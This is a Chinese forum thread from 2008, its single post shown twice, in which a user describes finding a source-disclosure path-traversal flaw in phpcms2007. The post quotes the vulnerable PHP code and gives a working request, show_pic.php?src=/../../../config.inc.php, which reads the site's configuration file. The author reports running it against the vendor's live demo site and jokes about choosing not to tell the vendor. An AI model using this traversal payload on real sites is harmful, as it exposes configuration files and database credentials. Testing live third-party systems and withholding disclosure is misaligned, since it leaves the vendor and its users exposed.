设为首页
收藏本站
淘宝精选
开启辅助访问
登录
注册后绑定Q登陆
只需一步,快速开始
扫微信快速登录
手机号码,快捷登录
快捷导航
发布信息
搜索
搜索
支持我们
使用96IE来支持论坛
首页
任务
勋章
签到
签到等于每天打卡
导读
QQ解除绑定
邀请码
装机必备的软件、去广告版
装机助手
装机网
精品操作系统下载
免费邀请码
记录
Doing
每日签到
本版
帖子
用户
PCOS技术网
»
首页
›
≡技术交流≡
›
电脑技术交流
›
一次简单的php源代码泄露漏洞发掘
返回列表
发新帖
查看:
396
|
回复:
1
一次简单的php源代码泄露漏洞发掘
[复制链接]
qiuleiyu
qiuleiyu
当前离线
积分
0
IP卡
狗仔卡
签到天数: 7 天
连续签到: 0 天
[LV.3]偶尔看看II
发表于 2008-4-12 13:12
|
显示全部楼层
|
阅读模式
我们知道在asp中出现得最多的还是sql注入,不过在php中由于magic_quotes_gpc为on的情况下特殊字符会被转义,所以即使有很多时候存在sql注入也无法利用。但是php强大的文件操作功能却使我们能体会到在asp中无法体会的乐趣,我想php自带的文件操作函数能让你为之心跳加快~~嘿嘿
这次我发掘的是phpcms2007的源代码泄露漏洞
再次向Phpcms2007的开源行为致敬!!
开始吧,
findstr /s /n /i readfile *.php >readfile.txt (结果我只给出有用的)
其他的文件操作函数可以自己定义查找
module\\picture\\show_pic.inc.php:8:readfile($file);
跟进这个文件看看吧,呵呵,比较小,我喜欢
[Copy to clipboard] [ - ]CODE:
<?php
defined('IN_PHPCMS') or exit('Access Denied');
require PHPCMS_ROOT.'/module/'.$mod.'/include/common.inc.php';
isset($src) or exit;
$file = PHPCMS_ROOT.'/'.$PHPCMS['uploaddir'].'/'.$CHA['channeldir'].'/'.$MOD['upload_dir'].'/'.$src;
if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.'/images/error.jpg';
header(\"Content-type:image/pjpeg\");
readfile($file);
?>
一路分析下。。。
先包含文件/module/'.$mod.'/include/common.inc.php
如果存在变量$src则赋予它路径并把值交给变量$file
然后就是就进入if
这里我不看其他的文件简单猜测下应该是判断url路径来源,也就是防盗链的功能
然后就header()一个图片头
呵呵,轻轻松松就readfile($file);
可以看出它没有判断$src的文件类型,如果我们提交一个src=*.php也会被readfile
好吧,在这里漏洞是出现了
不过由于“defined('IN_PHPCMS') or exit('Access Denied');”,所以我们是无法直接利用这个漏洞文件的
只能是在其他包含这个文件的php文件中利用
继续吧
[Copy to clipboard] [ - ]CODE:
findstr /s /i /n show_pic.inc.php *.php >show_pic.inc.php.txt
picture\\show_pic.php:4:require PHPCMS_ROOT.\"/module/\".$mod.\"/show_pic.inc.php\";
进去看看
[Copy to clipboard] [ - ]CODE:
<?php
require \"./config.inc.php\";
require \"../include/common.inc.php\";
require PHPCMS_ROOT.\"/module/\".$mod.\"/show_pic.inc.php\";
?>
呵呵,要是register_globals为on的话就可以直接利用这个文件读取目标文件了
那就测试吧
官方是演示站是
[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn/
那就这样构造url
[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
嘿嘿,读取的就是网站的配置文件
直接访问
[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn//picture/s ... ./../config.inc.php
呵呵,猜测没错!!
那我们可以先访问
http://demo.phpcms.cn/
抓包
用nc发包
get选项就设置为
[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
这里我就用刺猬的一个post提交工具代替了
测试结果如图
ok,就分析到这里了
希望大家不要利用这个做违法的事,嘿嘿!!
偶是坏孩子,不通知官方了~·好孩子去通知下。
PCOS系统下载站:http://zhuangji.wang
回复
使用道具
违规提醒
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
抢沙发
千斤顶
显身卡
qiuleiyu
qiuleiyu
当前离线
积分
0
IP卡
狗仔卡
签到天数: 7 天
连续签到: 0 天
[LV.3]偶尔看看II
楼主
|
发表于 2008-4-12 13:12
|
显示全部楼层
一次简单的php源代码泄露漏洞发掘
我们知道在asp中出现得最多的还是sql注入,不过在php中由于magic_quotes_gpc为on的情况下特殊字符会被转义,所以即使有很多时候存在sql注入也无法利用。但是php强大的文件操作功能却使我们能体会到在asp中无法体会的乐趣,我想php自带的文件操作函数能让你为之心跳加快~~嘿嘿
这次我发掘的是phpcms2007的源代码泄露漏洞
再次向Phpcms2007的开源行为致敬!!
开始吧,
findstr /s /n /i readfile *.php >readfile.txt (结果我只给出有用的)
其他的文件操作函数可以自己定义查找
module\\picture\\show_pic.inc.php:8:readfile($file);
跟进这个文件看看吧,呵呵,比较小,我喜欢
[Copy to clipboard] [ - ]CODE:
<?php
defined('IN_PHPCMS') or exit('Access Denied');
require PHPCMS_ROOT.'/module/'.$mod.'/include/common.inc.php';
isset($src) or exit;
$file = PHPCMS_ROOT.'/'.$PHPCMS['uploaddir'].'/'.$CHA['channeldir'].'/'.$MOD['upload_dir'].'/'.$src;
if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.'/images/error.jpg';
header(\"Content-type:image/pjpeg\");
readfile($file);
?>
一路分析下。。。
先包含文件/module/'.$mod.'/include/common.inc.php
如果存在变量$src则赋予它路径并把值交给变量$file
然后就是就进入if
这里我不看其他的文件简单猜测下应该是判断url路径来源,也就是防盗链的功能
然后就header()一个图片头
呵呵,轻轻松松就readfile($file);
可以看出它没有判断$src的文件类型,如果我们提交一个src=*.php也会被readfile
好吧,在这里漏洞是出现了
不过由于“defined('IN_PHPCMS') or exit('Access Denied');”,所以我们是无法直接利用这个漏洞文件的
只能是在其他包含这个文件的php文件中利用
继续吧
[Copy to clipboard] [ - ]CODE:
findstr /s /i /n show_pic.inc.php *.php >show_pic.inc.php.txt
picture\\show_pic.php:4:require PHPCMS_ROOT.\"/module/\".$mod.\"/show_pic.inc.php\";
进去看看
[Copy to clipboard] [ - ]CODE:
<?php
require \"./config.inc.php\";
require \"../include/common.inc.php\";
require PHPCMS_ROOT.\"/module/\".$mod.\"/show_pic.inc.php\";
?>
呵呵,要是register_globals为on的话就可以直接利用这个文件读取目标文件了
那就测试吧
官方是演示站是
[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn/
那就这样构造url
[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
嘿嘿,读取的就是网站的配置文件
直接访问
[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn//picture/s ... ./../config.inc.php
呵呵,猜测没错!!
那我们可以先访问
http://demo.phpcms.cn/
抓包
用nc发包
get选项就设置为
[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
这里我就用刺猬的一个post提交工具代替了
测试结果如图
ok,就分析到这里了
希望大家不要利用这个做违法的事,嘿嘿!!
偶是坏孩子,不通知官方了~·好孩子去通知下。
PCOS系统下载站:http://zhuangji.wang
回复
支持
反对
使用道具
违规提醒
显身卡
返回列表
发新帖
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
注册后绑定Q登陆
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页